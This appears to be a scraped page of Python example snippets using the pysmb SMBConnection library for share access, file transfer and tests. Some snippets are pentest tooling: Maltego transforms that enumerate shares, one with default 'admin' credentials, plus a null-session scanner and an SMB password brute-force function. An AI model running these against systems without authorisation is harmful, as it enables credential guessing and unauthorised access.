			conn.connect(MiSeqServerData.host, MiSeqServerData.port)

			#Get files names of fastq.gz files that correspond to subLibraryID (e.g. one if single, two if paired-end read) 
			print("Reading fastq.gz file for "+self.subLibraryID)
			fastqFiles = []
			try:
				sharedFileObjs = conn.listPath(MiSeqServerData.sharedFolder, '/MiSeqOutput/'+self.mainLibraryFolder+'/Data/Intensities/BaseCalls')
				for a in sharedFileObjs:
					#If fastq.gz file...
					if (a.filename.endswith("fastq.gz")):
						#And correct sample ID
						if (a.filename.startswith(self.subLibraryID) or a.filename.startswith(self.subLibraryID.replace("_", "-"))): #For some reason, MiSeq sampleSheet.csv will escape hyphens
							fastqFiles.append(a.filename)
							#Now fetch and write fastq.gz files to local machine
							director = urllib.request.build_opener(SMBHandler)
							fh = director.open('smb://'+MiSeqServerData.username+':'+MiSeqServerData.password+'@secret.jbei.org/miseq/MiSeqOutput/'+self.mainLibraryFolder+'/Data/Intensities/BaseCalls/'+a.filename).read()
							f = open(self.outputFolder+"/"+a.filename, 'wb')
							f.write(fh)
							f.close()
			except SMBTimeout:
				print("SMB server timed out")
				return
			except NotReadyError:
				print("Authentication with SMB server failed")
				return
			except NotConnectedError:
				print("Disconnected from SMB server")
				return
			except Exception as ex:
				print("Error retrieving fastq.gz files "+str(ex))
				return

			print("Writing metadata for "+self.subLibraryID)
			for filename in fastqFiles:
				#Get metadata for project's pre.libraries.info file
				proposalID = self.subLibraryID
				libraryName = "libName"
				genus = "genus"
				species = "species"
				strain = "strain"
				metaData = [proposalID, libraryName, self.outputFolder+"/"+filename, genus, species, strain]
				#Save metadata to be later printed to libraries.info file
				self.metadata += ("\t").join(metaData)+"\n";
		except SMBTimeout:
			print("SMB server timed out")
			return
		except NotReadyError:
			print("Authentication with SMB server failed")
			return
		except NotConnectedError:
			print("Disconnected from SMB server")
			return
		except Exception as ex:
			print("Error retrieving libraries from SMB server "+str(ex))	
			return
Ejemplo n.º 38
0
def connect(url):
    #logger.info("Url: %s" % url)
    global remote
    server_name, server_ip, share_name, path, user, password, domain = parse_url(url)
    if not remote or not remote.sock or not server_name == remote.remote_name:
      remote = SMBConnection(user, password, domain, server_name)
      remote.connect(server_ip, 139)
  
    return remote, share_name, path
def file_connection():
    IP = sys.argv[1]
    shareName = sys.argv[2]
    inputFile = sys.argv[3]
    port = 139
    conn = SMBConnection("","","","")
    conn.connect(IP,port)
    fileObj = tempfile.NamedTemporaryFile()

    conn.retrieveFile(shareName,inputFile,fileObj)
    return fileObj
Ejemplo n.º 40
0
def dotransform(args):
    mt = MaltegoTransform()
    # mt.debug(pprint(args))
    mt.parseArguments(args)
    ip = mt.getVar("ip")
    port = mt.getVar("port")
    hostid = mt.getVar("hostid")
    server = mt.getVar("server")
    if not server:
        server = mt.getVar("machinename")
    workgroup = mt.getVar("workgroup")
    path = mt.getVar("path")
    domaindns = mt.getVar("domain_dns")
    sharename = mt.getVar("sharename")

    if not workgroup:
        workgroup = "WORKGROUP"
    # conn = SMBConnection('', '', "localhost", server, domain=workgroup, use_ntlm_v2=True,is_direct_tcp=True)
    conn = SMBConnection('', '', "localhost", server, domain=workgroup, use_ntlm_v2=True)
    conn.connect(ip, int(port))
    regex = re.compile("^\.{1,2}$")
    try:
        files = conn.listPath(sharename, path)
    except NotReadyError:
        accessdenied = mt.addEntity("msploitego.AccessDenied",sharename)
        accessdenied.setValue(sharename)
    else:
        for file in files:
            filename = unicodedata.normalize("NFKD", file.filename).encode('ascii', 'ignore')
            if file.isDirectory:
                if not regex.match(filename):
                    entityname = "msploitego.SambaShare"
                    newpath = "{}/{}".format(path,filename)
                else:
                    continue
            else:
                entityname = "msploitego.SambaFile"
                newpath = "{}/{}".format(path, filename)
            sambaentity = mt.addEntity(entityname,"{}/{}{}".format(ip,sharename,newpath))
            sambaentity.setValue("{}/{}{}".format(ip,sharename,newpath))
            sambaentity.addAdditionalFields("ip", "IP Address", False, ip)
            sambaentity.addAdditionalFields("port", "Port", False, port)
            sambaentity.addAdditionalFields("server", "Server", False, server)
            sambaentity.addAdditionalFields("workgroup", "Workgroup", False, workgroup)
            sambaentity.addAdditionalFields("filename", "Filename", False, filename)
            sambaentity.addAdditionalFields("path", "Path", False, newpath)
            sambaentity.addAdditionalFields("hostid", "Hostid", False, hostid)
            if domaindns:
                sambaentity.addAdditionalFields("domain_dns", "Domain DNS", False, domaindns)
            sambaentity.addAdditionalFields("sharename", "Share Name", False, sharename)
    conn.close()
    mt.returnOutput()
    mt.addUIMessage("completed!")
Ejemplo n.º 41
0
    def Connect(self):
        client_machine_name = socket.gethostname()
        # watch out:
        # self.computer is unicode (must be converted to str)!
        conn = SMBConnection(self.username, self.password, client_machine_name, str(self.computer))

        computerIp = socket.gethostbyname(self.computer)
        # print computerIp

        conn.connect(computerIp, 139)

        self.conn = conn
Ejemplo n.º 42
0
def test_NTLMv2_auth_SMB2():
    global conn
    smb_structs.SUPPORT_SMB2 = smb_structs.SUPPORT_SMB2x = True
    info = getConnectionInfo()
    conn = SMBConnection(info['user'], info['password'], info['client_name'], info['server_name'], domain = info['domain'], use_ntlm_v2 = True)
    assert conn.connect(info['server_ip'], info['server_port'])

    conn2 = SMBConnection(info['user'], 'wrongPass', info['client_name'], info['server_name'], use_ntlm_v2 = True)
    assert not conn2.connect(info['server_ip'], info['server_port'])

    conn3 = SMBConnection('INVALIDUSER', 'wrongPass', info['client_name'], info['server_name'], use_ntlm_v2 = True)
    assert not conn3.connect(info['server_ip'], info['server_port'])
Ejemplo n.º 43
0
def getFileList():
    filename_list = []
    conn = SMBConnection(smb_credential['user'], smb_credential['password'], "", smb_credential['hostname'], use_ntlm_v2 = True)
    conn.connect(smb_credential['host'], 139)

    file_list = conn.listPath(short_group_name, u'/Audit/每周会议记录/%s-%s年%s学期会议记录' % (short_group_name, cur_year, cur_semester))
    for f in file_list:
        if f.filename != '.' and f.filename != '..':
            filename_list.append(f.filename)

    conn.close()
    return filename_list
Ejemplo n.º 44
0
 def __connect(self):
     conn_cnt = 0
     logger.info("trying to connect smb server on %s:%s" % (self.ip, self.port))
     while conn_cnt < ss.get("reconnect_times", 3):
         try:
             smb_conn = SMBConnection(
                 self.username, self.password, self.client_name, self.server_name, use_ntlm_v2=self.use_ntlm_v2
             )
             smb_conn.connect(self.ip, self.port)
             logger.info("connected to smb server")
             return smb_conn
         except Exception, e:
             conn_cnt += 1
             logger.info("connecting failed, times to reconnect: %d" % conn_cnt)
Ejemplo n.º 45
0
def dotransform(args):
    mt = MaltegoTransform()
    mt.debug(pprint(args))
    mt.parseArguments(args)
    ip = mt.getVar("ip")
    port = mt.getVar("port")
    hostid = mt.getVar("hostid")
    server = mt.getVar("server")
    workgroup = mt.getVar("workgroup")
    account = mt.getVar("account_used")
    path = mt.getVar("sambapath")
    domaindns = mt.getVar("domain_dns")

    if not path:
        path = "/"
    conn = SMBConnection('admin', 'admin', "localhost", server, domain=workgroup, use_ntlm_v2=True,
                         is_direct_tcp=True)
    conn.connect(ip, int(port))
    shares = conn.listShares()
    regex = re.compile("^\.{1,2}$")
    for share in shares:
        if not share.isSpecial and share.name not in ['NETLOGON', 'SYSVOL']:
            sharename = unicodedata.normalize("NFKD", share.name).encode('ascii', 'ignore')
            for file in conn.listPath(share.name, path):
                filename = unicodedata.normalize("NFKD", file.filename).encode('ascii', 'ignore')
                if file.isDirectory:
                    if not regex.match(filename):
                        entityname = "msploitego.SambaShare"
                        newpath = "{}/{}/".format(path,filename)
                    else:
                        continue
                        # subpath = conn.listPath(share.name, '/{}'.format(filename))
                else:
                    entityname = "msploitego.SambaFile"
                    newpath = "{}/{}".format(path, filename)
                sambaentity = mt.addEntity(entityname,"{}/{}/{}".format(ip,sharename,filename))
                sambaentity.setValue("{}/{}/{}".format(ip,sharename,filename))
                sambaentity.addAdditionalFields("ip", "IP Address", False, ip)
                sambaentity.addAdditionalFields("port", "Port", False, port)
                sambaentity.addAdditionalFields("server", "Server", False, server)
                sambaentity.addAdditionalFields("workgroup", "Workgroup", False, workgroup)
                sambaentity.addAdditionalFields("filename", "Filename", False, filename)
                sambaentity.addAdditionalFields("path", "Path", False, newpath)
                sambaentity.addAdditionalFields("hostid", "Hostid", False, hostid)
                sambaentity.addAdditionalFields("domain_dns", "Domain DNS", False, domaindns)
                sambaentity.addAdditionalFields("sharename", "Share Name", False, sharename)

    mt.returnOutput()
    mt.addUIMessage("completed!")
Ejemplo n.º 46
0
 def make_smb_connection(username,
                         password,
                         request_identifier,
                         server_name,
                         domain,
                         host,
                         port):
     conn = SMBConnection(username,
                             password,
                             request_identifier,
                             server_name,
                             domain=domain,
                             use_ntlm_v2 = True)
     conn.connect(host, port)
     return conn
Ejemplo n.º 47
0
def show_file(filename):
    conn = SMBConnection(USERNAME, PASSWORD, MY_NAME, REMOTE_NAME, use_ntlm_v2=False)
    conn.connect(SERVER_IP, PORT)
    #This module implements a file-like class, StringIO, that reads and writes a string buffer (also known as memory files). See the description of file objects for operations (section File Objects). (For standard strings, see str and unicode.)
    temp_fh = StringIO()
#file_obj  A file-like object that has a write method. Data will be written continuously to file_obj until EOF is received from the remote service. In Python3, this file-like object must have a write method which accepts a bytes parameter.
    file_attributes, filesize = conn.retrieveFile('Share', '/ESAP/Hand-Out/' + filename, temp_fh)
    conn.close()
    #读取文件名字
    localfile = filename.split('/')[-1]
#存到服务器
    f = open(os.path.join(os.getcwd() + '/static/', localfile), 'w')
    f.write(temp_fh.getvalue())
#读取服务器的文件
    return redirect(url_for('static', filename=localfile), code=301)
Ejemplo n.º 48
0
def smb_scan(ip, port, list_shares, timeout, verbose):
	# empty username and password for null session
	username = ""
	password = ""
	client_name = "client"
	server_name = ip
	if port == 445:
		is_direct_tcp = True
	else:
		is_direct_tcp = False
	try:
		# def __init__(self, username, password, my_name, remote_name, domain = '', use_ntlm_v2 = True, sign_options = SIGN_WHEN_REQUIRED, is_direct_tcp = False)
		conn = SMBConnection(username, password, client_name, server_name, use_ntlm_v2 = True, is_direct_tcp = is_direct_tcp)
		smb_authentication_successful = conn.connect(ip, port, timeout = timeout)
		if smb_authentication_successful:
			print "SMB active [null session enabled]: %s:%s" % (ip, port)
			if list_shares:
				list_smb_shares(conn, timeout)
		else:
			# on Windows 7 authentication fails due to disabled null sessions
			print "SMB active [null session disabled]: %s:%s" % (ip, port)
	except:
		if verbose:
			e = sys.exc_info()
			print "%s" % str(e)
	finally:
		if conn:
			conn.close()
Ejemplo n.º 49
0
    def transfer(self, uid, old_code, new_code):
        """ Sync a child transfer with GP: rename pictures and log a note. """
        # Retrieve configuration
        smb_user = config.get("smb_user")
        smb_pass = config.get("smb_pwd")
        smb_ip = config.get("smb_ip")
        smb_port = int(config.get("smb_port", 0))
        if not (smb_user and smb_pass and smb_ip and smb_port):
            return False

        # Rename files in shared folder
        smb_conn = SMBConnection(smb_user, smb_pass, "openerp", "nas")
        if smb_conn.connect(smb_ip, smb_port):
            gp_old_pic_path = "{0}{1}/".format(config.get("gp_pictures"), old_code[:2])
            gp_new_pic_path = "{0}{1}/".format(config.get("gp_pictures"), new_code[:2])
            pic_files = smb_conn.listPath("GP", gp_old_pic_path)
            for file in pic_files:
                filename = file.filename
                if filename.startswith(old_code):
                    new_name = filename.replace(old_code, new_code)
                    smb_conn.rename("GP", gp_old_pic_path + filename, gp_new_pic_path + new_name)

        # Rename child code in Poles table
        self.query("UPDATE Poles SET CODESPE = %s WHERE CODESPE = %s", [old_code, new_code])
        return True
Ejemplo n.º 50
0
def setup_func_SMB2():
    global conn
    smb_structs.SUPPORT_SMB2 = True
    smb_structs.SUPPORT_SMB2x = False
    info = getConnectionInfo()
    conn = SMBConnection(info['user'], info['password'], info['client_name'], info['server_name'], use_ntlm_v2 = True, is_direct_tcp = True)
    assert conn.connect(info['server_ip'], info['server_port'])
Ejemplo n.º 51
0
def smb_connect(args):
	ip = args.ip
	port = args.port
	username = args.username
	password = args.password
	domain = args.domain
	timeout = args.timeout
	verbose = args.verbose

	client_name = "client"
	server_name = ip
	if port == 445:
		is_direct_tcp = True
	else:
		is_direct_tcp = False

	# def __init__(self, username, password, my_name, remote_name, domain = '', use_ntlm_v2 = True, sign_options = SIGN_WHEN_REQUIRED, is_direct_tcp = False)
	conn = SMBConnection(username, password, client_name, server_name, domain = domain, use_ntlm_v2 = True, is_direct_tcp = is_direct_tcp)
	smb_authentication_successful = conn.connect(ip, port, timeout = timeout)
	if smb_authentication_successful:
		print "authentication successful"
		return conn
	else:
		print "authentication failed"
		return None
Ejemplo n.º 52
0
def get_connection(location):
    """
    Get a SMB connnection using the location and verify the remote
    location.

    Get the formatted location name, otherwise throw a
    RemoteNameException. Create the SMB connection, otherwise throw a
    SMBConnectionException.
    """
    location_name = smb_share_format.format(location.server_ip,
                                            location.share_name,
                                            location.path)
    netbios = NetBIOS()
    remote_name = netbios.queryIPForName(location.server_ip)
    if not remote_name:
        raise RemoteNameException("Unable to get remote name for {0}!".
                                  format(location.server_ip))
    if not location.username:
        location.username=""
    if not location.password:
        location.password=""
    connection = SMBConnection(location.username, location.password, 'ONYX',
        remote_name[0])
    if not connection.connect(location.server_ip):
        riemann.send({"host": config.HOST,
                      "service": "shareutil.get_connection",
                      "state": "start"})
        raise SMBConnectionException("Unable to connect to {0}".
                                     format(location_name))
    return connection
    def _transfer_file_on_nas(self, file_name):
        """
        Puts the letter file on the NAS folder for the translation platform.
        :return: None
        """
        self.ensure_one()
        # Retrieve configuration
        smb_user = config.get('smb_user')
        smb_pass = config.get('smb_pwd')
        smb_ip = config.get('smb_ip')
        smb_port = int(config.get('smb_port', 0))
        if not (smb_user and smb_pass and smb_ip and smb_port):
            raise Exception('No config SMB in file .conf')

        # Copy file in the imported letter folder
        smb_conn = SMBConnection(smb_user, smb_pass, 'openerp', 'nas')
        if smb_conn.connect(smb_ip, smb_port):
            file_ = BytesIO(base64.b64decode(
                self.letter_image.with_context(
                    bin_size=False).datas))
            nas_share_name = self.env.ref(
                'sbc_translation.nas_share_name').value

            nas_letters_store_path = self.env.ref(
                'sbc_translation.nas_letters_store_path').value + file_name
            smb_conn.storeFile(nas_share_name,
                               nas_letters_store_path, file_)

            logger.info('File {} store on NAS with success'
                        .format(self.letter_image.name))
        else:
            raise Warning(_('Connection to NAS failed'))
Ejemplo n.º 54
0
def setup_func_SMB2():
    global conn
    smb_structs.SUPPORT_SMB2 = True

    info = getConnectionInfo()
    conn = SMBConnection(info["user"], info["password"], info["client_name"], info["server_name"], use_ntlm_v2=True)
    assert conn.connect(info["server_ip"], info["server_port"])
Ejemplo n.º 55
0
    def authenticate(self):

        from smb.SMBConnection import SMBConnection

        # There will be some mechanism to capture userID, password, client_machine_name, server_name and server_ip
        # client_machine_name can be an arbitary ASCII string
        # server_name should match the remote machine name, or else the connection will be rejected

        #userID = 'xatportantier'
        userID = 'guest'
        #password = '******'
        password = ''
        client_machine_name = 'fmp'
        server_ip = '192.1.3.120'
        server_name = 'Server72'
        server_name = ''

        from nmb.NetBIOS import NetBIOS

        nb = NetBIOS(broadcast=True, listen_port=0)
        #print('ip', nb.queryName(server_name, port=445))
        #print('name', nb.queryIPForName(server_ip))


        conn = SMBConnection(userID, password, client_machine_name, server_name, use_ntlm_v2=True, is_direct_tcp=False)
        from pprint import pprint
        for a in [ 'capabilities', 'domain', 'host_type', 'log', 'my_name', 'remote_name', 'security_mode', 'uid', 'username' ]:
            print(a, getattr(conn, a))
        #print('cap', conn.capabilities)
        #print('domain', conn.domain)

        print('auth', conn.connect(server_ip, 139))
    def transfer(self, uid, old_code, new_code):
        """ Sync a child transfer with GP: rename pictures and log a note. """
        # Retrieve configuration
        smb_user = config.get('smb_user')
        smb_pass = config.get('smb_pwd')
        smb_ip = config.get('smb_ip')
        smb_port = int(config.get('smb_port', 0))
        if not (smb_user and smb_pass and smb_ip and smb_port):
            return False

        # Rename files in shared folder
        smb_conn = SMBConnection(smb_user, smb_pass, 'openerp', 'nas')
        if smb_conn.connect(smb_ip, smb_port):
            gp_old_pic_path = "{0}{1}/".format(config.get('gp_pictures'),
                                               old_code[:2])
            gp_new_pic_path = "{0}{1}/".format(config.get('gp_pictures'),
                                               new_code[:2])
            pic_files = smb_conn.listPath('GP', gp_old_pic_path)
            for file in pic_files:
                filename = file.filename
                if filename.startswith(old_code):
                    new_name = filename.replace(old_code, new_code)
                    smb_conn.rename('GP', gp_old_pic_path + filename,
                                    gp_new_pic_path + new_name)

        # Rename child code in GP tables
        self.query("UPDATE ENFANTS SET CODE = %s WHERE CODE = %s",
                   [new_code, old_code])
        self.query("UPDATE Poles SET CODESPE = %s WHERE CODESPE = %s",
                   [new_code, old_code])
        self.query("UPDATE Affectat SET CODESPE = %s WHERE CODESPE = %s",
                   [new_code, old_code])
        return True
Ejemplo n.º 57
0
def run_brute_force(username, password, args):
	ip = args.ip
	port = args.port
	domain = args.domain
	list_shares = args.list_shares
	timeout = args.timeout
	verbose = args.verbose

	client_name = "client"
	server_name = ip
	if port == 445:
		is_direct_tcp = True
	else:
		is_direct_tcp = False

	try:
		# def __init__(self, username, password, my_name, remote_name, domain = '', use_ntlm_v2 = True, sign_options = SIGN_WHEN_REQUIRED, is_direct_tcp = False)
		conn = SMBConnection(username, password, client_name, server_name, domain = domain, use_ntlm_v2 = True, is_direct_tcp = is_direct_tcp)
		smb_authentication_successful = conn.connect(ip, port, timeout = timeout)
		if smb_authentication_successful:
			print "success: [%s:%s]" % (username, password)
			if list_shares:
				list_smb_shares(conn, timeout)
		else:
			if verbose:
				print "failed: [%s:%s]" % (username, password)
	except:
		if verbose:
			e = sys.exc_info()
			print "%s" % str(e)
	finally:
		if conn:
			conn.close()
Ejemplo n.º 58
0
    def verify_user(username, password):
        verified_username_and_password = False
        msg_to_web = None 

        conn = None
        
        try:
            if is_username_correct(username):
                conn = SMBConnection(
                    username, password, 'gsmbpasswd-server', SMB_SERVER, use_ntlm_v2 = True)
                verified_username_and_password = conn.connect(SMB_SERVER, 445)
            else:
                verified_username_and_password = False
                log_to_file(u"WARNING: Someone entered a non-existent username: %s" % username)
 
        except:
            # Re-raise the same exception that was thrown and let
            # the calling function handle the exception.
            raise
       
        finally:
            if not conn == None:
                conn.close # Always close the connection

        return verified_username_and_password, msg_to_web
Ejemplo n.º 59
0
class FileServerConnection(object):
    """Connection to a Samba file server"""

    def __init__(self, ip, port, clientName, serverName, username, password):
        self.conn = SMBConnection(username, password, clientName, serverName)
        self.conn.connect(ip, port)

        try:
            shares = self.conn.listShares()
            sharesStr = ", ".join("{0.name} ({0.comments})".format(s) for s in shares)
            logging.info("Visible shares on {} ({}:{}): {}".format(serverName,
                                                                   ip,
                                                                   port,
                                                                   sharesStr))
        except smb.base.NotReadyError as e:
            raise FileServerException(e)

    def append(self, share, path, data):
        try:
            # Get the existing contents of the file.
            file = StringIO()
            try:
                self.conn.retrieveFile(share, path, file)
            except smb.smb_structs.OperationFailure as e:
                # The file might not exist yet.
                if not e.message.endswith("Unable to open file"):
                    # Something else went wrong.
                    raise

            # Append the data.
            file.write(data)
            file.seek(0)

            # NOTE: Apparently storeFile fails if the target file exists. It
            # must be deleted first.
            # TODO: Rename the old file instead of deleting until the store
            # operation is completed succesfully?
            try:
                self.conn.deleteFiles(share, path)
            except smb.smb_structs.OperationFailure as e:
                # The file might not exist yet.
                if not e.message.endswith("Delete failed"):
                    # Something else went wrong.
                    raise
            self.conn.storeFile(share, path, file)
        except smb.smb_structs.OperationFailure as e:
            raise FileServerException(e.message)